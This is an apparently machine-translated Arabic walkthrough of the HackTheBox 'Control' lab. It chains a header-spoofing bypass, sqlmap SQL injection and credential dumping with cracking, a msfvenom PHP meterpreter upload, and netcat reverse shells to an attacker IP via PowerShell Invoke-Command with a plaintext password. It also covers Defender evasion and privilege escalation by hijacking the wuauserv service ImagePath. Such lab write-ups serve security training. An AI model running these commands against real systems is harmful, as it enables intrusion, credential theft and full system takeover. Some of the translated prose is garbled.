هاك ذا بوكس. التحكم بالمرور. إدخال SQL و LPE من خلال حقوق الخدمة

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .

في هذه المقالة ، اخترقنا النظام من خلال إدخال SQL ، والتعمق في تاريخ سطر الأوامر وزيادة امتيازاتنا بفضل الحقوق في الخدمة.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.167 ، والذي أضيفه إلى / etc / hosts.

10.10.10.167    control.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

صورة

الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.
nmap -A control.htb -p80,135,3306,49667,49666

صورة

يقوم المضيف بتشغيل خادم ويب. دعونا نرى ما هناك.

صورة

ونرى أن هناك رابطًا إلى لوحة المشرف. ولكننا نعلم أنه لا يوجد رأس ويجب أن نتواصل من خلال وكيل.

صورة

في نفس الوقت ، في التعليمات البرمجية المصدر لصفحة البدء نجد الرسالة:

صورة

بمقارنة ما تحتاجه لاستخدام الوكيل والعنوان الموجود ، نفترض أنك بحاجة إلى المرور بها. يتم عرض الوكيل في بروتوكول HTTP في رأس x-forwarded-for. دعونا نكشف ذلك.

صورة

وننتقل بنجاح إلى صفحة المسؤول. دعنا نذهب عبر المتصفح.

صورة

ولكن عندما تحاول القيام بشيء ما ، سيرموننا على صفحة برسالة وكيل. هذا لأننا لا نستبدل العنوان الموجود. لكي لا تفعل ذلك في كل مرة في Burp Suite ، في علامة التبويب Proxy -> Options ، نجد وظيفة "Match and Replace".

صورة

وإضافة إدخال جديد سيضيف هذا العنوان تلقائيًا إلى جميع الطلبات الصادرة.

صورة

واختبار مجال البحث نجد حقن SQL.

صورة

للتشغيل نستخدم sqlmap. لنحفظ هذا الطلب في ملف (نسخ إلى ملف) ونشغل sqlmap ، ونمرر هذا الملف كمعلمة.
sqlmap -r headers.req

صورة

نقطة الدخول
دعنا نرى ما هي قواعد البيانات المتوفرة.
sqlmap -r headers.req --dbs

صورة

دعنا نتعرف على بيانات الاعتماد المتوفرة. دعونا نرى جميع الجداول في قاعدة بيانات الخلية.
sqlmap -r headers.req -D mysql --tables

صورة

لذلك نحن مهتمون بجدول المستخدم. دعنا نحصل على أسماء جميع الأعمدة.
sqlmap -r headers.req -D mysql -T user --columns

صورة

من بين جميع الأعمدة ، الأكثر إثارة للاهتمام هي المستخدم وكلمة المرور. نتعلم ما فيها.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

صورة

تحتوي قاعدة البيانات على العديد من المستخدمين. تقدم Sqlmap للقضاء على التجزئة. نختار هجوم القاموس ، ونشير إلى أننا نريد استخدام قاموسنا وكتابة المسار إلى rockyou.

صورة

بعد بضع ثوانٍ ، سيتم تزويدنا بجدول بأسماء المستخدمين وتجزئة كلمات المرور الخاصة بهم. إذا تمكن sqlmap من كسر كلمة المرور ، فسيشير إليها بجوار التجزئة بين قوسين. كما ترون ، لدينا أوراق اعتماد المستخدم المستخدم.

صورة

لم أستطع الحصول على الصدفة باستخدام sqlmap ، ولكن كتابة الملفات. دعونا نشر مشى الويب. أولاً ، نقوم بإنشاء حمل جهاز القياس بتنسيق PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


الآن اكتبه باستخدام sqlmap إلى دليل خادم الويب.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

صورة

تمت كتابة الملف بنجاح. قم بتشغيل المستمع.

صورة

وانتقل إلى ملفك على خادم الويب.
curl http://control.htb/r.php


في نافذة Metasploit ، نلاحظ اتصالًا ناجحًا.

صورة

انتقل إلى هذه الجلسة.

صورة

ولكن هنا تكمن المشكلة في أننا لا نستطيع تنفيذ الأوامر من خلال الصدفة. بالإضافة إلى ذلك ، فإن هذه المحاولات تعيد ضبط الاتصال. دعنا نحاول تجاوز القفل من خلال إنشاء عملية powerhell في الوضع التفاعلي (-i) المخفي من العرض (-H) وتمرير أمرنا كمعلمات (-a). دعنا نكتشف أي مستخدم نعمل.

صورة

المستعمل


لدينا أوراق اعتماد هيكتور ، سنكتشف ما إذا كان هناك مثل هذا المستخدم في النظام.

صورة

هناك مثل هذا المستخدم! لكن أولاً ، اكتشف اسم السيارة.

صورة

لدينا اسم مستخدم وكلمة مرور ومجال واسم الجهاز. الآن دعونا نتحقق مما إذا كانت أوراق الاعتماد التي تلقيناها مناسبة. للقيام بذلك ، قم بتنفيذ "whoami" نيابة عن Hector.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

صورة

غرامة. دعونا نحصل على القشرة. قم بتشغيل خادم الويب على المضيف المحلي.
python3 -m http.server 80


وتحميلها إلى مضيف Netcat البعيد.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


الآن افتح منفذ 5432. nc -lvp 5432 والقيام بالاتصال العكسي من المضيف البعيد.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


لذلك نأخذ المستخدم.

صورة

جذر


بعد ذلك ، عندما تحاول تحميل إحدى وسائل جمع المعلومات من المضيف إلى المضيف (مثل BloodHound و PowerUp و JAWS و WinPEAS ) ، نلاحظ أن المدافع يزيلها. لكن WinPEAS لديه إصدار مضرب لا يمكن إلغاء تثبيته. نقوم بتحميله على المضيف وتشغيله. علاوة على ذلك ، من الضروري فقط مراجعة المعلومات التي تم جمعها بعناية. ونجد ملف ملف ملف ConsoleHost_history.txt مثيرًا للاهتمام.

صورة

انظر إلى محتوياته .

صورة

هذه الفرق هي الشيء الوحيد الذي لدينا. يسترد Get-Acl cmdlet الكائنات التي تمثل واصف أمان لملف أو مورد. يحتوي واصف الأمان على قوائم التحكم في الوصول إلى الموارد (ACL). تحتوي قائمة التحكم بالوصول (ACL) على الأذونات المطلوبة من قبل المستخدمين ومجموعات المستخدمين للوصول إلى المورد. وهكذا ، قررت أن مسار الحل يكمن في الخدمات والوصول إليها. دعنا نحصل على جميع خدمات وأذونات هيكتور لهم.

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


بالنظر إلى الإخراج ، نلاحظ أن Hector لديه حقوق كاملة لخدمة تحديث Windows - wuauserv.

صورة

تعمل الخدمات في نظام تشغيل Windows بامتيازات النظام. عند تسجيل خدمة في النظام ، فإن المسار إلى الملف التنفيذي للخدمة محمي في سمة ImagePath. دعنا نغير قيمة هذه السمة ونحمل الصدفة.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


الآن قم بتشغيل خدمة التحديث.
start-service wuauserv


ونحصل على قشرة بامتيازات قصوى.

صورة

يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles